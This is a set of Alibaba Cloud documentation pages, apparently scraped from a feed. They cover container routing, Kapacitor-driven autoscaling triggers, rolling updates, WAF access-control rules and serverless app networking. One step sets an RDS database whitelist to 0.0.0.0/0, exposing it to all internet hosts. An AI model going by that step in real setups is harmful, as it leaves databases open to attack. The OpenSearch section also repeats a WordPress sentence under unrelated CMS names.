              说明 同一个服务同一个端口的多个域名只能写在同一个条目内,并且域名和域名之间用分号(;)分隔。



              此时,服务处于更新中。更新完毕变成就绪状态后,路由服务 acsrouting_routing 就已经将该域名配置好了。当有请求以域名 www.aliyuntest.club 访问服务 wordpress-rds_web 时,就能正确的解析并转发到相应的服务了。

            6. 将域名解析到容器服务的集群上。容器服务在创建集群的时候,会给每一个集群分配一个负载均衡实例,该负载均衡实例是属于您自己的。
              1. 登录容器服务管理控制台
              2. 在 Swarm 菜单下,单击左侧导航栏中的集群
              3. 选择相应的集群,本示例为 swarm-test 并单击管理



              4. 单击负载均衡 ,并查看负载均衡 ID。



            7. 登录负载均衡控制台,在实例列表中找到目标实例 ID,进入实例详情页面,您可以查看负载均衡实例的服务地址



            8. 登录阿里云云解析 DNS 服务管理控制台,添加域名解析(本示例中为 www.aliyuntest.club)。
              1. 添加域名。若已有域名,跳过此步。
              2. 添加域名解析。

                • 记录类型为 A
                • 主机记录为 www。主机记录即是域名前缀,您也可以选择其他前缀。
                • 解析线路为默认。
                • 输入绑定的负载均衡实例的服务地址。
                • 设置 TTL 值。



            9. 重新部署 wordpress 应用,然后进入应用的路由列表,发现域名解析已经生效。
            10. 访问页面 www.aliyuntest.club



            上一篇:简单路由(支持 HTTP/HTTPS)

            下一篇:简单路由-HTTP 协议变为 HTTPS 协议

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            资源伸缩触发器_触发器_Swarm API参考_开发指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 资源伸缩触发器

            更新时间:2018-06-22 10:58:14

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            现在有很多客户很关心应用的自动弹性伸缩,有些客户也有自己的监控框架,并希望能跟阿里云容器服务进行集成。阿里云容器服务提供了资源弹性伸缩触发器,并能够跟监控框架集成来实现自定义的服务自动弹性伸缩。

            阿里云容器服务会自动采集容器的监控数据,并可以通过集成将监控数据发送到三方的监控框架中。有了监控数据,我们可以在监控框架中定义自己的报警规则,当指标发生报警的时候调用阿里云容器服务提供的触发器来进行容器的扩容或者缩容。 下面用Influxdb,Kapacitor来介绍怎样通过触发器跟监控框架集成实现自定义弹性伸缩。

            前提条件

            操作步骤

            生成 wordpress 资源伸缩触发器

            1. 登录 容器服务管理控制台
            2. 选择创建好的 wordpress 应用,单击应用名称,进入详情页。



            3. 单击 创建触发器,在弹出的对话框中,选择资源伸缩, 并在 服务 下拉框中选择需要设置资源伸缩触发器的服务。

              说明
              您需要将所对应集群的 Agent 升级到最新版本,才能使用资源伸缩触发器。



            4. 此时生成的触发器地址即为 API 的地址。



              说明
              该 API 支持添加 typestep 两个参数,本示例中,调用 sale out 的时候会添加参数 &type=scale_out&step=5

            部署监控应用

            我们创建一个监控应用,包括监控时序数据库Influxdb、 监控报警框架 Kapacitor 以及界面展现 Grafana。将 wordpress 资源伸缩触发器写到应用配置文件中,达到根据应用负载,资源自动伸缩的目的。

            我们使用一个编排模板来部署:

            ```yaml
            version: '2'
            services:
              influxdb:
                image: influxdb:0.13
                ports:
                 - "8083:8083"
                 - "8086:8086"
                container_name: "influxdb"
                labels:
                    aliyun.monitoring.addon.influxdb: "http://influxdb:8086"
              grafana:
                image: grafana/grafana:3.0.3-1463994644
                ports:
                  - "3000:3000"
                links:
                  - influxdb
              kapacitor:
                image: kapacitor:0.13
                ports:
                  - "9092:9092"
                volumes:
                        - /etc/acs/:/etc/acs/
                environment:
                  - KAPACITOR_INFLUXDB_0_URLS_0=http://influxdb:8086
                command: kapacitord -config /etc/kapacitor/kapacitor.conf
            ```

            创建好的应用,如下图所示。



            配置Kapacitor报警规则

            创建报警规则文件。

            在 Kapacitor 中配置报警规则,并当报警时调用扩容触发器 URL。

            通过 Web 远程终端或者 Docker Exec 进入 Kapacitor 容器, 增加报警规则,比如我们对CPU指标设置报警规则,创建/etc/acs/cpu.tick 文件,内容如下。

            ```
            stream                                                                                                                                                                                         
                // Select just the cpu measurement from our example database.                                                                                                                              
                |from()                                                                                                                                                                                    
                    .measurement('docker_container_cpu')                                                                                                                                                   
                |groupBy('aliyun.cluster', 'aliyun.service.id')                                                                                                                                            
                |alert()                                                                                                                        
                    .crit(lambda:  "aliyun.cluster"=='xxxxx' AND "aliyun.service.id"=='xxxxx' AND "usage_percent" > 70)                                                                                                                                                                                    
                    .post('https://cs.console.aliyun.com/hook/trigger?
                    triggerUrl=Y2E1Y2UwY2NhOWRhMzQ2ZDY4ZmYyZmYyNGZiYTAyNzdjfHdvcmRwcmVzc3xzY2FsaW5nfDE5dXM1cHZjdjQ4cnN8=&secret=xxx&&type=scale_out&step=5')                                                                                                                
                    .log('/tmp/alerts.log')   
            ```

            这里对监控的CPU指标 docker_container_cpu 按集群及服务进行聚合然后判断当 usage_percent>70 的时候进行服务扩容。类似,我们也可以增加一个缩容的报警规则。

            定义报警规则并启用

            在Kapacitor容器中执行如下命令定义并启用报警规则。

            kapacitor define cpu_alert -type stream  -tick cpu_alert.tick -dbrp telegraf.default;
            kapacitor enable cpu_alert

            这样当CPU的使用率超过 70% 的时候,会自动调用扩容触发器进行容器的扩容。

            后续操作

            您可以通过三方集成系统进行触发,使用 GET 或者 POST 都可以进行触发,例如使用 curl 命令触发。

            调用资源伸缩触发器:

            说明
            调用资源伸缩触发器时,需要在触发器 URL 中手动添加以下参数:

            参数名称 必填 语义 可选值
            type 伸缩类型 缩容:scale_in;扩容:scale_out
            step 伸缩数量 正整数,1~100

            例如,调用下面的触发器会执行扩容五个容器的操作。

            curl 'https://cs.console.aliyun.com/hook/trigger?triggerUrl=Y2E1Y2UwY2NhOWRhMzQ2ZDY4ZmYyZmYyNGZiYTAyNzdjfHdvcmRwcmVzc3xzY2FsaW5nfDE5dXM1cHZjdjQ4cnN8=&secret=xxx&&type=scale_out&step=5'

            上一篇:重新部署触发器

            下一篇:如何将模板中的服务部署在每个节点上?

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            rolling_updates_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 rolling_updates

            更新时间:2019-01-23 00:37:22

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            更新某个服务时,如果该服务包括超过一个以上容器(使用 scale 标签定义),在第 n 个容器更新成功后,再去做第 n+1 个容器的更新,以此来最小化停止服务时间。

            示例:

            部署 WordPress 服务,通过scale标签指定部署 2 个容器,使用rolling_updates标签可以使 WordPress 对外停止服务的时间最小化。

            web:
              image: wordpress
              ports:
                - 80
              restart: always
              links:
                - 'db:mysql'
              labels:
                aliyun.logs: /var/log
                aliyun.routing.port_80: http://wordpress
                aliyun.rolling_updates: 'true'
                aliyun.scale: '2'
            db:
              image: mariadb
              environment:
                MYSQL_ROOT_PASSWORD: example
              restart: always
              labels:
                aliyun.logs: /var/log/mysql

            parallelism

            您可以使用 parallelism 标签定义 rolling_updates 每次并行更新的容器数量。

            Note 此标签必须和 rolling_update 配合使用,单独使用无效。

            取值:

            • 默认值为 1,即每次只更新一个容器。
            • 当其值大于 1 的时候,rolling_updates 过程中,每次会以 parallelism 定义的值来并行更新相应个数的容器,实现批量更新。
            • 当定义值无效时,默认为 1。

              Note 为了确保始终有容器在提供服务,建议 parallelism 定义的值小于服务包含的容器数。

            示例:

            下面的示例部署 Nginx 服务,通过 scale 标签部署 4 个容器,使用 rolling_updatesparallelism 标签定义每次以 2 个容器为单位来进行批量更新。

            web:
              image: nginx:latest
              restart: always
              environment:
                  - "reschedule:on-node-failure"
              ports:
                  - 80
              labels:
                aliyun.scale: "4"
                aliyun.rolling_updates: 'true'
                aliyun.rolling_updates.parallelism: "2"

            上一篇:probe

            下一篇:depends

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            开源建站工具对接OpenSearch_工具篇_最佳实践_开放搜索-阿里云 Fri, 02 May 2025 09:39:04 +0800 开源建站工具对接OpenSearch

            更新时间:2017-06-07 13:26:11

            本页目录

            WordPress

            基于RDS+OpenSearch实现WordPress站内搜索,有问题请论坛跟帖提问。

            Discuz

            基于RDS+OpenSearch实现WordPress站内搜索,有问题请论坛跟帖提问。

            DedeCMS

            基于RDS+OpenSearch实现WordPress站内搜索,有问题请论坛跟帖提问。

            上一篇:解析查询结果

            下一篇:基于OpenSearch实现电商场景商品搜索原型

            相关文档

            相关产品

            • 开放搜索

              开放搜索(OpenSearch)是一款结构化数据搜索托管服务,为移动应用开发者和网站站长提供简单、高效、稳定、低成本和可扩展的搜索解决方案。OpenSearch 基于阿里巴巴自主研发的大规模分布式搜索引擎平台。该平台承载了阿里巴巴全部主要搜索业务,包括淘宝、天猫、一淘、1688、ICBU、神马搜索等业务。OpenSearch 以平台服务化的形式,将专业搜索技术简单化、低门槛化和低成本化,让搜索引擎技术不再成为客户的业务瓶颈,以低成本实现产品搜索功能并快速迭代。

            • 阿里云Elasticsearch

              阿里云Elasticsearch,提供基于开源Elasticsearch服务,致力于数据分析、数据搜索等场景服务。在开源Elasticsearch基础上提供企业级权限管控、安全监控告警、自动报表生成等功能。

            • MaxCompute

              大数据计算服务(MaxCompute,原名ODPS)是一种快速、完全托管的TB/PB级数据仓库解决方案。MaxCompute向用户提供了完善的数据导入方案以及多种经典的分布式计算模型,能够更快速的解决用户海量数据计算问题,有效降低企业成本,并保障数据安全。 诚邀您参加阿里云MaxCompute问卷调研,问卷填写大概需要花费您5-10分钟。我们将在认真填写的用户中随机抽取100名,每名用户赠送100元MaxCompute无门槛代金券。参与地址:https://survey.aliyun.com/apps/zhiliao/boGZtw_74

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            精准访问控制_网站防护(旧版引擎)_防护配置_Web 应用防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 精准访问控制

            更新时间:2020-01-21 18:23:41

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            精准访问控制支持自定义访问规则,根据客户端IP、请求URL、以及常见的请求头字段过滤访问请求。

            前提条件

            说明 本文介绍的精确访问控制功能不适用2020年1月发布的新版控制台界面。如果您使用在此日期后开通的Web应用防火墙实例,请参见自定义防护策略

            已完成网站接入。更多信息,请参见业务接入WAF配置

            背景信息

            精准访问控制允许您设置访问控制规则,对常见的HTTP字段(如IP、URL、Referer、UA、参数等)进行条件组合,用来筛选访问请求,并对命中条件的请求设置放行、阻断、告警操作。精确访问控制支持业务场景定制化的防护策略,可用于盗链防护、网站管理后台保护等场景。

            说明 按量付费的WAF实例提供两种规格的精准访问控制:基础防护和高级防护。您可以在规格与配置中进行调整。具体操作,请参见功能与规格配置精确访问控制

            • 基础防护仅支持基于IP和URL的匹配条件,且每个域名可设置10条规则。
            • 高级防护支持基于IP、URL、Cookie、User-Agent、Referer、提交参数、X-Forwarded-For等各类常见HTTP头部的逻辑组合判断功能,每个域名可设置100条规则。

            包年包月模式下,高级版WAF实例仅支持IP、URL、Referer、User-Agent、Params匹配字段,且每个域名最多只能定义20条规则;企业版和旗舰版的WAF实例支持所有匹配字段(见支持的匹配字段),支持为每个域名定义的规则数分别为100条、200条。

            精准访问控制规则由匹配条件与匹配动作构成。在创建规则时,您通过设置匹配字段、逻辑符和相应的匹配内容定义匹配条件,并针对符合匹配条件规则的访问请求定义相应的动作。

            • 匹配条件

              匹配条件包含匹配字段、逻辑符、匹配内容。匹配内容暂时不支持通过正则表达式描述,但允许设置为空值。

              每一条精准访问控制规则中最多允许设置三个匹配条件组合,且各个条件间是“与”的逻辑关系,即访问请求必须同时满足所有匹配条件才算命中该规则,并执行相应的匹配动作。

            • 匹配动作

              精准访问控制规则支持以下匹配动作:

              • 阻断:阻断命中匹配条件的访问请求。
              • 放行:放行命中匹配条件的访问请求。
              • 告警:放行命中匹配条件的访问请求,并针对该请求进行告警。

              选择放行告警匹配动作后,您可以进一步设置该请求是否需要继续经过其它WAF防护功能检测过滤,如Web应用攻击防护、CC应用攻击防护、智能防护、地区封禁、数据风控、SDK防护等。

            • 规则匹配顺序

              如果您设置了多条规则,则多条规则间有先后匹配顺序,即访问请求将根据您设定的精准访问控制规则顺序依次进行匹配,顺序较前的精准访问控制规则优先匹配。

              您可以通过规则排序功能对所有精准访问控制规则进行排序,以获得最优的防护效果。

            操作步骤

            1. 登录Web应用防火墙控制台
            2. 在页面上方选择Web应用防火墙实例的地域(中国大陆海外地区)。
            3. 在左侧导航栏,单击管理 > 网站配置
            4. 选择要操作的域名,单击其操作列下的防护配置
            5. 定位到精准访问控制配置区域,开启状态开关,并单击前去配置精确访问控制
            6. 单击添加规则,并设置规则的匹配条件和相应的处置动作,完成后单击确认

              说明 关于规则参数说明,请参见精准访问控制规则;关于应用示例,请参见配置示例

              添加规则

            7. 成功创建规则后,您可以选择执行以下操作。
              • 编辑规则内容或删除规则。
              • 规则排序。如果有多条规则,单击规则排序,并操作上移下移置顶置底调整规则的匹配顺序。

                说明 越靠上的规则越优先匹配。

              规则排序

            配置示例

            精准访问控制规则支持多种配置方法,您可以结合自身业务特点定义相应的规则。通过设置精准访问控制规则也可以实现特定的Web漏洞防护

            以下罗列了一些常用的精确访问控制配置示例,供您参考。

            • 配置IP黑白名单

              通过设置以下精准访问控制规则,阻断来自1.1.1.1的所有访问请求。黑白名单

              通过设置以下精准访问控制规则,放行来自2.2.2.0/24网段的所有访问请求。放行规则

              说明 应用此白名单配置规则时,请不要勾选继续执行Web应用攻击防护继续执行CC应用攻击防护等选项,不然访问请求仍可能被WAF的其它防护功能拦截。

              更多关于配置IP黑白名单的操作及注意事项,请参见IP黑白名单配置

            • 拦截特定的攻击请求

              通过分析某类特定的WordPress反弹攻击,发现其特征是User-Agent字段都包含WordPress,如下图所示。wordpress反弹攻击

              因此,可以设置以下精准访问控制规则,拦截该类WordPress反弹攻击请求。wordpress拦截规则

              关于WordPress攻击的详细防护配置,请参见防御WordPress反射

            • 封禁特定的URL

              如果您遇到有大量IP在刷某个特定且不存在的URL,您可以通过配置以下精准访问控制规则直接阻断所有该类请求,降低源站服务器的资源消耗。封禁特定url

            • 防盗链

              通过配置Referer匹配字段的访问控制规则,您可以阻断特定网站的盗链。例如,您发现abc.blog.sina.com大量盗用本站的图片,您可以配置以下精准访问控制规则阻断相关访问请求。防盗链

            支持的匹配字段

            下表罗列了精确访问控制支持的匹配字段及其描述。
            匹配字段 字段描述 适用逻辑符
            IP 访问请求的来源IP,支持填写IP或IP段(例如,1.1.1.1/24)。

            说明 您可以填写最多50个IP或IP段,以英文逗号(,)分隔。

            • 属于
            • 不属于
            URL 访问请求的URL地址。
            • 包含
            • 不包含
            • 等于
            • 不等于
            Referer 访问请求的来源网址,即该访问请求是从哪个页面跳转产生的。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            • 不存在
            User-Agent 发起访问请求的客户端的浏览器标识、渲染引擎标识和版本信息等浏览器相关信息。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            Params 访问请求的URL地址中的参数部分,通常指URL中”?”后面的部分。例如,www.abc.com/index.html?action=login中的action=login就是参数部分。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            Cookie 访问请求中的Cookie信息。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            • 不存在
            Content-Type 访问请求指定的响应HTTP内容类型,即MIME类型信息。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            X-Forwarded-For 访问请求的客户端真实IP。X-Forwarded-For(XFF)用来识别通过HTTP代理或负载均衡方式转发的访问请求的客户端最原始的IP地址的HTTP请求头字段,只有通过HTTP代理或者负载均衡服务器转发的访问请求才会包含该项。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            • 不存在
            Content-Length 访问请求的响应内容所包含的字节数。
            • 值小于
            • 值等于
            • 值大于
            Post-Body 访问请求的响应内容信息。
            • 包含
            • 不包含
            • 等于
            • 不等于
            Http-Method 访问请求的方法,如GET、POST等。
            • 等于
            • 不等于
            Header 访问请求的头部信息,用于自定义HTTP头部字段。
            • 包含
            • 不包含
            • 等于
            • 不等于
            • 长度小于
            • 长度等于
            • 长度大于
            • 不存在

            上一篇:自定义CC防护

            下一篇:设置封禁地区

            相关文档

            相关产品

            • Web 应用防火墙

              云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

            • DDoS防护

              针对DDoS攻击,阿里云提供了多种安全解决方案供您选择,满足不同DDoS防护需求。

            • 云安全中心

              云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            常见访问公网场景示例_应用访问公网_最佳实践_Serverless 应用引擎-阿里云 Fri, 02 May 2025 09:39:04 +0800 常见访问公网场景示例

            更新时间:2020-01-06 10:27:50

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文通过具体示例演示部署在SAE上的应用如何访问公网。

            前提条件

            背景信息

            某企业需要在SAE北京Region创建应用,并在该应用上部署WordPress服务,同时使用杭州Region的RDS作为数据库。

            创建并部署WordPress应用

            注意 目前 SAE 现已开放了华北 2 (北京)华东 1 (杭州)华东 2 (上海)华南 1 (深圳)地域,您需选择地域为华北 2 (北京)华东 1 (杭州)华东 2 (上海)华南 1 (深圳),才能登录 SAE 控制台。

            1. 登录SAE控制台
            2. 在左侧导航树单击应用列表,并在应用列表页面单击右上角的创建应用
            3. 创建应用页面的应用基本信息页签内,设置应用相关信息,并单击下一步:应用部署配置

              应用基本信息设置

              • 应用名称:输入应用名称。允许数字,字母,下划线以及中划线组合,仅允许字母开头,最大长度36个字符。
              • 命名空间:在下拉菜单中选择创建好的命名空间。
              • VPC网络:在下拉菜单中选择VPC和vswitch 。
              • 应用实例数:选择要创建的实例个数。
              • 实例规格:单击请选择,在选择实例规格页面内选择实例的CPUMemory规格。
              • 应用描述:填写应用的基本情况,输入的描述信息不超过100个字符。

            4. 应用部署配置页面,选择 镜像,依据页面指示进行配置。完成设置后单击下一步:确认规格

              镜像部署

            5. 确认规格页签,查看您所创建应用的详细信息以及配置费用情况,并单击确认创建
            6. 验证应用部署结果。

              进入应用详情页,查看应用的基本信息和实例部署信息。当实例部署信息页面显示实例的运行状态为Running 时,表示应用成功发布。

            7. 为应用绑定SLB。
              1. 应用详情基本信息页面,单击应用访问设置区域的添加公网SLB访问
              2. 添加公网SLB访问页面,设置SLB的监听规则,设置完成后单击确定

                SLB服务监听规定了如何将请求转发给后端服务器。一个SLB实例至少添加一条监听规则。

                添加公网SLB访问

            8. 通过设置的公网SLB访问Wordpress应用。

              WordPress绑定SLB

            为Wordpress应用添加公网访问权限

            为Wordpress应用添加公网访问权限,具体请参见应用如何访问公网

            为Wordpress应用设置跨区域的RDS数据库

            1. 购买RDS实例。
              1. 开通RDS服务
              2. RDS实例基本信息设置。

                在购买RDS实例时,选择地域为华东1(杭州),设置可用区为华东 1 可用区 F,选择网络类型为专有网络RDS规格选择

            2. 配置白名单。
              1. 登录RDS管理控制台,在左侧导航栏单击实例列表,选择步骤1中所购买的RDS实例,并单击实例名称进入RDS实例管理页面。
              2. 在RDS实例管理页面单击申请外网地址,并在申请外网地址对话框中单击确定

                设置RDS申请外网地址

                申请后申请外网地址右边的按钮会变成设置白名单

              3. 单击设置白名单,并在设置白名单页签内单击切换高安全白名单模式(推荐),然后在弹出的确认框中单击确认切换

                白名单设置

              4. 白名单设置页签内,单击添加白名单分组

                添加白名单分组

              5. 添加白名单分组页面设置分组名称组内白名单,设置完毕后单击确定

                说明 此处设置组内白名单为0.0.0.0/0,即允许所有的外网都可访问。

                设置白名单

                返回RDS实例管理页面的申请外网地址的外网地址。

            3. 在RDS实例左侧导航栏单击账号管理,在用户账号页签内单击创建账号,然后按照页面提示设置账号信息,设置完成后单击确定

              RDS数据库帐户管理

            4. 本地测试是否可以通过外网访问RDS应用。

              验证外网访问数据库

            问题反馈

            如果您在使用SAE过程中有任何疑问,欢迎您扫描下面的二维码加入钉钉群进行反馈。SAE钉钉群2

            上一篇:部署在SAE上的应用如何访问公网

            下一篇:如何设置RDS白名单

            相关文档

            相关产品

            • Serverless 应用引擎

              Serverless 应用引擎(Serverless App Engine,简称 SAE) 让您无需管理和维护集群与服务器,即可快速创建应用。使用 SAE,您可以专注于设计和构建应用程序,而不用管理运行应用程序的基础设施。您只需为部署在 SAE 上的应用所实际使用的 CPU 和内存资源量进行按需付费,不用为闲置的资源付费。

            • 企业级分布式应用服务 EDAS

              企业级分布式应用服务(Enterprise Distributed Application Service, 简称 EDAS)以阿里巴巴中间件团队多款久经沙场的分布式产品作为核心基础组件,面向企业级云计算市场提供高可用分布式解决方案,是阿里巴巴企业级互联网架构解决方案的核心产品。EDAS 充分利用阿里云的资源管理和服务体系,引入阿里巴巴中间件整套成熟的分布式产品,帮助企业级客户轻松构建大型分布式应用服务系统。

            • Web应用托管服务

              Web应用托管服务(Web App Service,简称Web+)是一个用来构建和部署应用的全托管式平台,您可以在Web+上部署Web类、移动类和API类应用。您可以使用Java语言编写并构建应用程序,在无需管理底层基础设施的情况下,即可简单、高效、安全和灵活地对应用进行部署、扩缩、变更配置和监控。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            简单路由(支持 HTTP/HTTPS)_服务发现和负载均衡_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 简单路由(支持 HTTP/HTTPS)

            更新时间:2018-07-10 10:04:20

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            适用场景

            普通且简单的 7 层协议负载均衡,Web 路由服务,容器集群内服务之间 7 层协议互相访问的通信代理和负载均衡。

            原理

            如下图所示,当您新建一个集群的时候,会默认给这个集群分配一个负载均衡实例。该负载均衡实例会将集群中的所有节点加入作为后端,同时前端会暴露 80 端口,后端所有节点的机器会暴露 9080 端口。容器服务会启动一个路由应用 acsrouting,即阿里云容器服务路由应用(Alibaba Cloud Container Service Routing)。该路由应用只有一个服务,即路由服务。该服务是全局(global)的,即每个节点(下面说到的主机和节点都是同一个意思,即 ECS 的 vm 实例)都部署了该服务(或者说镜像)的一个拷贝,也就是容器。每个节点都由这个容器用来路由 HTTP 服务或者 HTTPS 服务。



            如上图所示,HTTP 服务,负载均衡实例的前后端端口的映射为 80:9080,主机与路由容器之间的端口映射为 9080:80,即路由的容器暴露 80 端口,其它用作 Web 服务的容器可以暴露任意的端口。只要在容器启动的时候设置主机和容器端口的映射,routing 服务就能获取到相应的端口进行请求的路由。有关暴露 HTTP 服务的完整示例,参见通过镜像创建 Nginx

            设置方式

            说明
            请务必确保容器服务相关节点的内核参数(/etc/sysctl.conf)中,如下配置值为 0,否则可能会导致无法访问:
            net.ipv4.conf.default.rp_filter = 0
            net.ipv4.conf.all.rp_filter = 0
            net.ipv4.conf.eth0.rp_filter = 0

            通过容器服务管理控制台进行设置

            通过 服务 > 变更配置 进行设置

            1. 登录容器服务管理控制台
            2. 单击左侧导航栏中的服务
            3. 选择所要暴露的服务所在的集群。
            4. 选择所要暴露的服务(本示例中为 wordpress-web)并单击变更配置


            5. 在变更配置页面,配置主机和容器端口的映射,如下图所示。

              主机端口为空,表示随机暴露一个主机的端口(暴露 HTTP/HTTPS 服务时,您可以不需要知道主机暴露的具体端口是什么,可以使用 overlay 网络或者 VPC 网络来直接访问容器的端口),容器端口为 80。您使用 wordpress-web 服务的 80 端口来提供 HTTP 服务,使用的协议是 TCP 协议。



              路由配置通过域名来暴露服务,须标明要暴露的端口,此处为 Web 服务 80 端口。域名字段只填写了域名前缀,如果域名前缀为 XXX,获得的域名为 XXX.$cluster_id.$region_id.alicontainer.com 供测试使用。此处您获得的域名为 wordpress.cb668bde43f054cd7bd515c8739f38310.cn-hangzhou.alicontainer.com。您也可以填写自己的域名,需要添加解析到相应的负载均衡实例 IP。关于配置路由的容器端口和 HTTP 服务的域名的详细信息,参见routing

            6. 配置完毕后,单击更新,然后返回服务列表,进入服务详情页,单击访问端点


            7. 您可以成功访问 wordpress 欢迎页。


            通过应用的模板编辑器进行设置

            1. 登录容器服务管理控制台
            2. 单击左侧导航栏中的应用
